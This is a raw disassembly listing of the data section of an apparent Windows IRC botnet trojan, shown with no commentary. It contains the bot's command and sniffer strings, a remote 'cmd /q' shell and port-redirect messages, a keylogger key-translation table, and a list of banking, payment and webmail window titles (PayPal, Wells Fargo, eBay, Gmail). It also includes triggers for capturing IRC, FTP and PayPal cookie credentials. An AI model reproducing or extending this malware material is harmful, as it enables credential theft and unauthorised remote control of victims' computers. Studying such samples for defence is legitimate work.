		db 2, 3, 2Dh
aFailedToSta_34	db ' failed to start worker thread, error %d',0
		align 4
unk_434C44	db  2Dh	; -		; DATA XREF: sub_4100B4+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 4
asc_434C78:				; DATA XREF: sub_4100B4+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_4100B4+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_41036B+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 10h
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_41036B+61Co
		align 10h
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_41036B+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_41036B+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+328o
					; sub_41036B+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_41036B+310o
		align 4
aS		db '<%s>',0             ; DATA XREF: sub_41036B+2E9o
					; sub_41036B+40Bo
		align 10h
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_41036B+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_41036B+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_41036B+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_41036B+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_41036B+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_41036B+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_41036B+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_410ADC+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_435120	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410D6Eo
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410D13o
dword_435164	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:00410CB8o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start client thread, error: <%d>.',0
unk_4351CC	db  2Dh	; -		; DATA XREF: ___:00410E94o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_435214	db  2Dh	; -		; DATA XREF: ___:004110E6o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_36	db 'Failed to start connection thread, error: <%d>.',0
unk_435254	db  2Dh	; -		; DATA XREF: ___:0041101Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_435298	db  2Dh	; -		; DATA XREF: ___:004113A9o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_4352C4	db  2Dh	; -		; DATA XREF: ___:00411382o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 10h
unk_4352F0	db  2Dh	; -		; DATA XREF: ___:00411362o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00411332o
		align 4
unk_43532C	db  2Dh	; -		; DATA XREF: ___:004112A1o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 4
unk_435358	db  2Dh	; -		; DATA XREF: sub_4113C5:loc_41140Ao
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_435384	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_41141F+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 10h
unk_435520	db  2Dh	; -		; DATA XREF: sub_4116D6+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_435554	db  2Dh	; -		; DATA XREF: sub_4116D6+59o
					; sub_4116D6+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_43559C	db  2Dh	; -		; DATA XREF: sub_411827+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_4355C4	db  2Dh	; -		; DATA XREF: sub_411827+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_435604	db  2Dh	; -		; DATA XREF: sub_411827+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_435644	db  2Dh	; -		; DATA XREF: sub_411920+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_411920+8Co
		align 4
dword_435684	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_4119F9+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h
aFailedToSta_37	db '- Failed to start client thread, error: <%d>.',0
		align 10h
		dd 234032Dh, 6B636F73h,	3023473h
aClientConnec_2	db '- Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToC	db '- Error: Failed to connect to target, returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aErrorFailedToO	db '- Error: Failed to open socket(), returned: <%d>.',0
		align 4
		dd 234032Dh, 6B636F73h,	3023473h
aAuthentication	db '- Authentication failed. Remote userid: %s != %s.',0
		align 4
		dd 4000500h, 7868746Bh,	2 dup(0)
dword_435848	dd 6F672D65h, 646Ch, 1Eh dup(0)	; DATA XREF: ___:0041260Fo
		dd 6E676953h, 6E4920h, 1Eh dup(0)
aHotmail	db 'Hotmail',0
		dd 1Eh dup(0)
aWindowsLiveMes	db 'Windows Live Messenger',0
		align 10h
		dd 1Ah dup(0)
aPaypal_1	db 'PayPal',0
		align 10h
		dd 1Eh dup(0)
aStormpay	db 'StormPay',0
		align 4
		dd 1Dh dup(0)
aStormpay_comAc	db 'StormPay.com, Accept Online Payments',0
		align 10h
		dd 16h dup(0)
aWorldpay	db 'WorldPay',0
		align 4
		dd 1Dh dup(0)
		dd 74736F50h, 74492065h, 61696C61h, 656Eh, 1Ch dup(0)
		dd 6F746F46h, 2E676F6Ch, 74656Eh, 1Dh dup(0)
aTerraFotolog	db 'Terra - Fotolog',0
		dd 1Ch dup(0)
		dd 6F686159h, 216Fh, 1Eh dup(0)
		dd 616D6F44h, 53206E69h, 63726165h, 68h, 1Ch dup(0)
aBienvenidoAGma	db 'Bienvenido a Gmail',0
		align 4
		dd 1Bh dup(0)
aWelcomeToGmail	db 'Welcome to Gmail',0
		align 4
		dd 1Bh dup(0)
aDomainNameRegi	db 'Domain Name Registration',0
		align 4
		dd 19h dup(0)
		dd 616D6F44h, 4E206E69h, 656D61h, 1Dh dup(0)
aMyAccountLogin	db 'My Account Login',0
		align 4
		dd 1Bh dup(0)
aMercadolivreBr	db 'MercadoLivre Brasil',0
		dd 1Bh dup(0)
aWellsFargoHome	db 'Wells Fargo Home Page',0
		align 10h
		dd 1Ah dup(0)
aRyan1918DontNe	db 'Ryan1918 Dont NET :: Log in',0
		dd 19h dup(0)
aEbay		db 'eBay',0
		align 10h
		dd 1Eh dup(0)
aEbayNewUsedEle	db 'eBay - New & used electronics, cars, apparel, collectibles, sport'
		db 'ing goods & more at low prices',0
		dd 8 dup(0)
		db  49h	; I
		db 6Eh,	69h, 63h
		db  69h	; i
		db 61h,	72h, 20h
		db  73h	; s
		db 65h,	73h, 69h
		db 0F3h	; ó
aNebayNewUsedEl	db 'neBay - New & used electronics, cars, apparel, collectibles, spor'
		db 'ting goods & more at low prices',0
		align 4
		dd 4 dup(0)
dword_436448	dd 8, 62h, 62000000h, 2	dup(0) ; DATA XREF: ___:00412661o
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 41000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_436BB4	dd 28207325h, 297325h, 252EBB2Eh, 2EAB2E73h, 65522820h
					; DATA XREF: ___:0041262Do
					; sub_41AF8F+EBo
		dd 6E727574h, 25282029h, 2973h,	252EBB2Eh, 2EAB2E73h, 65522820h
		dd 6E727574h, 29h, 252EBB2Eh, 2EAB2E73h, 75422820h, 72656666h
		dd 6C756620h, 2820296Ch, 297325h, 252EBB2Eh, 2EAB2E73h
		dd 75422820h, 72656666h, 6C756620h, 296Ch, 252EBB2Eh, 2EAB2E73h
		dd 68432820h, 65676E61h, 69572064h, 776F646Eh, 25203A73h
		dd 2973h, 252EBB2Eh, 2EAB2E73h,	0
		dd offset off_4374C0
		dd offset off_4374BC
		dd offset off_4374B8
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh
dword_437474	dd 2 dup(0)		; DATA XREF: Themida_:0056B3AFo
					; Themida_:0056B3B7o
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00436C54o
		align 4
off_4374B8	dd offset word_505446	; DATA XREF: ___:00436C50o
off_4374BC	dd offset aFailedToSta_36+25h ;	DATA XREF: ___:00436C4Co
off_4374C0	dd offset word_544F42	; DATA XREF: ___:00436C48o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EEC+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EEC+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EEC+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EEC+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EEC+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EEC+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EEC+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EEC+84o
a366		db '366 ',0             ; DATA XREF: sub_412EEC+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412EEC:loc_412F4Eo
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EEC+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EEC+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EEC+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EEC+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_413003+62o
aOper		db 'oper ',0            ; DATA XREF: sub_413003+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_413003:loc_413043o
					; sub_413079+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_413003+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_413003+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413079+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413079+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413079:loc_4130CAo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413079+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413079+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_413100+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_413100+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_413100+51o
		align 4
